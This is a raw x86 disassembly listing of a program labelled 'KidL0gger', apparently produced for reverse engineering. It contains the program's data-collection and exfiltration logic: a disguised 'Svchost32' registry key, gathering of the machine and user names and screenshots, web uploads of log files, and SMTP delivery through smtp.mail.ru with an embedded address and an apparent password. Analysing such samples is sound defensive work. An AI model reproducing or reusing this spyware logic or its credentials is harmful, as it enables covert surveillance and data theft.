jne 0x40ec08
push str.UPDATE.
push esi
call fcn.004118f0
add esp, 8
test eax, eax
je 0x40ea5f
push 0x14
push str.dev_not_found
push str.SOFTWARESvchost32
push connect
call fcn.00402000
add esp, 0x10
push str.Please_update_your_client_software._Log_files_refused.
push str.web_post_error
push str.SOFTWARESvchost32
push connect
call fcn.00401f20
add esp, 0x10
add ebx, 0x6c
push ebx
jmp 0x40f1df
push str.REJECT.
push esi
call fcn.004118f0
add esp, 8
test eax, eax
je 0x40eb07
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [ebp - 0x2c]
movzx edx, word [ebp - 0x2a]
movzx eax, word [ebp - 0x26]
push ecx
push edx
push eax
lea ecx, [ebp + 0x23f0]
push str._02d__02d__d
push ecx
call fcn.00411b16
lea edx, [ebp + 0x23f0]
push edx
lea eax, [ebp + 0x238c]
push eax
push str.SOFTWARESvchost32
push connect
call fcn.00401f20
add esp, 0x24
push str.file_rejected
call fcn.0040d100
add esp, 4
lea ecx, [ebp + 0x2198]
push ecx
lea edx, [ebp + 0x12c0]
push str.file:__s._nPlease_update_your_Account_on_Svchost32.net
push edx
call fcn.00411b16
lea eax, [ebp + 0x12c0]
push eax
push str.web_post_file
push str.SOFTWARESvchost32
push connect
call fcn.00401f20
add esp, 0x1c
jmp 0x40f1e7
lea ecx, [ebp]
push ecx
push str.web_post_resp
push str.SOFTWARESvchost32
push connect
call fcn.00401f20
mov edx, dword [ebx + 4]
mov edi, dword [ebp - 0x14]
add esp, 0x10
sub edx, edi
push edx
push edi
lea eax, [ebp + 0x2198]
push eax
lea ecx, [ebp + 0x12c0]
push str.file:__s__offset:__d__len:__d
push ecx
call fcn.00411b16
lea edx, [ebp + 0x12c0]
push edx
push str.web_post_file
push str.SOFTWARESvchost32
push connect
call fcn.00401f20
add esp, 0x24
push 0x488aa4
push esi
call fcn.004118f0
add esp, 8
test eax, eax
jne 0x40ecdd
push 0x488aa0
push esi
call fcn.004118f0
add esp, 8
test eax, eax
jne 0x40ecdd
push str.An_error_occured:__n
call fcn.0040d100
add esp, 4
lea eax, [ebp + 0x2198]
push 0x5c
push eax
call fcn.00413020
add esp, 8
test eax, eax
jne 0x40ebb6
lea eax, [ebp + 0x2198]
mov ecx, dword [ebx + 4]
push ecx
push edi
push eax
lea edx, [ebp]
push edx
lea eax, [ebp + 0x12c0]
push str.Web_upload_status:__s__file:__s__offset:__d__len:__d_
push eax
call fcn.00411b16
lea ecx, [ebp + 0x12c0]
push ecx
push str.web_post_error
push str.SOFTWARESvchost32
push connect
call fcn.00401f20
lea edx, [ebp + 0x12c0]
add esp, 0x28
push edx
call fcn.0040d100
add esp, 4
push str.done_n_n
jmp 0x40f1df
push 0
push str.dev_not_found
push str.SOFTWARESvchost32
push connect
call fcn.00401e40
add esp, 0x10
add eax, 1
push eax
push str.dev_not_found
push str.SOFTWARESvchost32
push connect
call fcn.00402000
add esp, 0x10
lea eax, [ebp]
push eax
lea ecx, [ebp + 0x12c0]
push str.Connection_Error:__s
push ecx
call fcn.00411b16
lea edx, [ebp + 0x12c0]
push edx
push str.web_post_error
push str.SOFTWARESvchost32
push connect
call fcn.00401f20
add esp, 0x1c
lea eax, [ebp]
push eax
jmp 0x40f1df
push str.Connection_error
call fcn.0040d100
add esp, 4
lea ecx, [ebp + 0x2198]
push 0x5c
push ecx
call fcn.00413020
add esp, 8
test eax, eax
jne 0x40eca0
lea eax, [ebp + 0x2198]
push eax
lea esi, [ebx + 0x6c]
push esi
lea edx, [ebp + 0x12c0]
push str.Connection_Error:__s__file:__s_
push edx
call fcn.00411b16
lea eax, [ebp + 0x12c0]
push eax
push str.web_post_error
push str.SOFTWARESvchost32
push connect
call fcn.00401f20
add esp, 0x20
push esi
call fcn.0040d100
add esp, 4
push str.done_n_n
jmp 0x40f1df
mov dword [ebp - 4], 5
call fcn.0040d330
cmp eax, 0x12c
jle 0x40ed17
push str.User_idle_for_5_mins._Skip_report_delivery_n
jmp 0x40f1df
mov esi, dword [ebp - 0x1c]
mov ecx, dword [esi + 8]
mov byte [ebp - 0x15], 0
lea edx, [ebp + 0x2038]
mov al, byte [ecx]
mov byte [edx], al
add ecx, 1
add edx, 1
test al, al
jne 0x40ed27
mov ecx, dword [esi + 0xc]
lea edx, [ebp + 0x1cb8]
mov edi, edi
mov al, byte [ecx]
mov byte [edx], al
add ecx, 1
add edx, 1
test al, al
jne 0x40ed40
mov ecx, dword [esi + 4]
lea edx, [ebp + 0x1fa0]
mov al, byte [ecx]
mov byte [edx], al
add ecx, 1
add edx, 1
test al, al
jne 0x40ed57
lea ecx, [ebp + 0x1fa0]
push str.rohos81_mail.ru
push ecx
call fcn.004118f0
add esp, 8
test eax, eax
je 0x40ee11
mov ecx, dword [esi + 8]
mov byte [ebp - 0x15], 1
lea edx, [ebp + 0x1ed8]
mov edi, edi
mov al, byte [ecx]
mov byte [edx], al
add ecx, 1
add edx, 1
test al, al
jne 0x40ed90
mov ecx, dword [0x488570]
mov edx, dword [str.smtp.mail.ru:2525]
mov eax, dword [0x48856c]
mov dword [ebp + 0x2040], ecx
mov ecx, dword [str.psmkhe76]
mov dword [ebp + 0x1cb8], ecx
mov ecx, 6
mov esi, str.Dear_Rohos_Disk_Support_
lea edi, [ebp + 0x1b8c]
rep movsd dword es:[edi], dword [esi]
mov dword [ebp + 0x2038], edx
mov edx, dword [0x488574]
mov dword [ebp + 0x203c], eax
mov ax, word [0x488578]
mov dword [ebp + 0x2044], edx
mov edx, dword [0x488560]
mov word [ebp + 0x2048], ax
mov al, byte [0x488564]
mov dword [ebp + 0x1cbc], edx
mov byte [ebp + 0x1cc0], al
movsw word es:[edi], word [esi]
lea ecx, [ebp + 0x2038]
push 0x3a
push ecx
call fcn.00412f60
add esp, 8
test eax, eax
je 0x40ee40
mov byte [eax], 0
lea ecx, [eax + 1]
lea edx, [ebp + 0x1af4]
mov al, byte [ecx]
mov byte [edx], al
add ecx, 1
add edx, 1
test al, al
jne 0x40ee32
lea ecx, [ebp + 0x21f8]
call fcn.00408c70
lea edx, [ebp + 0x1af4]
push edx
mov byte [ebp - 4], 6
call dword [sym.imp.SHLWAPI.dll_StrToIntA]
mov esi, eax
push esi
lea eax, [ebp + 0x2038]
push eax
lea ecx, [ebp + 0x21f8]
call fcn.00404ed0
cmp esi, 0x24b
jne 0x40ee85
mov dword [ebp + 0x2380], 1
jmp 0x40ee97
cmp esi, 0x1d1
jne 0x40ee97
mov dword [ebp + 0x2380], 2
lea ecx, [ebp + 0x1fa0]
push ecx
lea ecx, [ebp + 0x21f8]
call fcn.00404e50
lea edx, [ebp + 0x1cb8]
push edx
lea ecx, [ebp + 0x21f8]
call fcn.00404e90
push str.Svchost32
lea ecx, [ebp + 0x21f8]
call fcn.00404d90
lea eax, [ebp + 0x1fa0]
push eax
lea ecx, [ebp + 0x21f8]
call fcn.00404d50
lea ecx, [ebp + 0x1fa0]
push ecx
lea ecx, [ebp + 0x21f8]
call fcn.00404d10
lea edx, [ebp - 0x30]
push edx
lea eax, [ebp + 0x2438]
mov ebx, 0x32
push eax
mov dword [ebp - 0x30], ebx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [ebp + 0x1ed8]
add eax, 0xffffffff
mov cl, byte [eax + 1]
add eax, 1
test cl, cl
jne 0x40ef11
mov cx, word [0x488530]
mov dl, byte [0x488532]
mov word [eax], cx
mov byte [eax + 2], dl
lea eax, [ebp + 0x2438]
mov edx, eax
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x40ef36
lea edi, [ebp + 0x1ed8]
sub eax, edx
add edi, 0xffffffff
lea ebx, [ebx]
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x40ef50
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp + 0x1ed8]
rep movsb byte es:[edi], byte [esi]
add eax, 0xffffffff
mov cl, byte [eax + 1]
add eax, 1
test cl, cl
jne 0x40ef73
mov cx, word [0x48852c]
mov dl, byte [0x48852e]
mov word [eax], cx
mov byte [eax + 2], dl
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp + 0x2438]
push ecx
mov dword [ebp - 0x30], ebx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea edi, [ebp + 0x1ed8]
add edi, 0xffffffff
lea ecx, [ecx]
mov al, byte [edi + 1]
add edi, 1
test al, al
jne 0x40efb0
mov edx, dword [0x488528]
lea eax, [ebp + 0x2438]
mov dword [edi], edx
mov edx, eax
lea ebx, [ebx]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x40efd0
lea edi, [ebp + 0x1ed8]
sub eax, edx
add edi, 0xffffffff
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x40efe4
mov ebx, dword [ebp - 0x1c]
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
cmp byte [ebp - 0x16], 0
rep movsb byte es:[edi], byte [esi]
je 0x40f0ee
mov eax, dword [ebx + 0x10]
push 0x488524
push eax
call fcn.004118f0
add esp, 8
test eax, eax
je 0x40f0ee
mov eax, dword [str.screenshot]
mov ecx, dword [0x48851c]
mov dx, word [0x488520]
push 0x185
mov dword [ebp + 0x1968], ecx
mov dword [ebp + 0x1964], eax
mov al, byte [0x488522]
lea ecx, [ebp + 0x196f]
push 0
push ecx
mov word [ebp + 0x196c], dx
mov byte [ebp + 0x196e], al
call fcn.00410e00
mov eax, dword [ebx + 0x10]
push 0x5c
push eax
call fcn.00413020
add esp, 0x14
test eax, eax
je 0x40f090
lea ecx, [eax + 1]
lea edx, [ebp + 0x1964]
mov al, byte [ecx]
mov byte [edx], al
add ecx, 1
add edx, 1
test al, al
jne 0x40f082
lea edi, [ebp + 0x1ed8]
add edi, 0xffffffff
lea esp, [esp]
mov al, byte [edi + 1]
add edi, 1
test al, al
jne 0x40f0a0
mov edx, dword [0x488528]
lea eax, [ebp + 0x1964]
mov dword [edi], edx
mov edx, eax
lea ebx, [ebx]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x40f0c0
lea edi, [ebp + 0x1ed8]
sub eax, edx
add edi, 0xffffffff
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x40f0d4
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp + 0x1ed8]
push eax
lea ecx, [ebp + 0x21f8]
call fcn.00404dd0
push 0
lea ecx, [ebp + 0x1fa0]
push ecx
lea ecx, [ebp + 0x21f8]
call fcn.00409440
push 3
lea ecx, [ebp + 0x21f8]
call fcn.00402320
push str.KidL0gger_v.5.7.01
lea ecx, [ebp + 0x21f8]
call fcn.00404e10
lea edx, [ebp + 0x1b8c]
push edx
lea ecx, [ebp + 0x21f8]
call fcn.00409560
cmp byte [ebp - 0x15], 0
je 0x40f19e
push str.Rohos_Disk
lea ecx, [ebp + 0x21f8]
call fcn.00404d90
push str.Rohos_Disk_v.2.01
lea ecx, [ebp + 0x21f8]
call fcn.00404e10
push str.message.txt
lea ecx, [ebp + 0x21f8]
call fcn.00409380
push 0x4884d4
push str.message.txt
call fcn.00412aff
mov esi, eax
add esp, 8
test esi, esi
jne 0x40f210
push str.error_opening_message_file_n
call fcn.004130e1
add esp, 4
cmp byte [ebp - 0x16], 0
je 0x40f1b3
mov eax, dword [ebx + 0x10]
push eax
lea ecx, [ebp + 0x21f8]
call fcn.00409380
lea ecx, [ebp + 0x21f8]
call fcn.00407bd0
lea ecx, [ebp + 0x21f8]
mov byte [ebp - 4], 5
call fcn.00408ed0
cmp dword [ebp - 0x14], 0
mov dword [ebp - 4], 0xffffffff
jne 0x40f1e7
push str.Mail_was_send_successfully._n
call fcn.0040d100
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x24a0]
xor ecx, ebp
call fcn.004117a8
add ebp, 0x24a4
mov esp, ebp
pop ebp
ret
push esi
call fcn.004129dd
add esp, 4
test eax, eax
jne 0x40f19e
push 0x5db
push eax
mov byte [ebp + 0x1388], al
lea eax, [ebp + 0x1389]
push eax
call fcn.00410e00
push esi
lea ecx, [ebp + 0x1388]
push 0x3e8
push ecx
call fcn.004132ab
add esp, 0x18
lea edx, [ebp + 0x1388]
push edx
lea ecx, [ebp + 0x21f8]
call fcn.00409560
jmp 0x40f210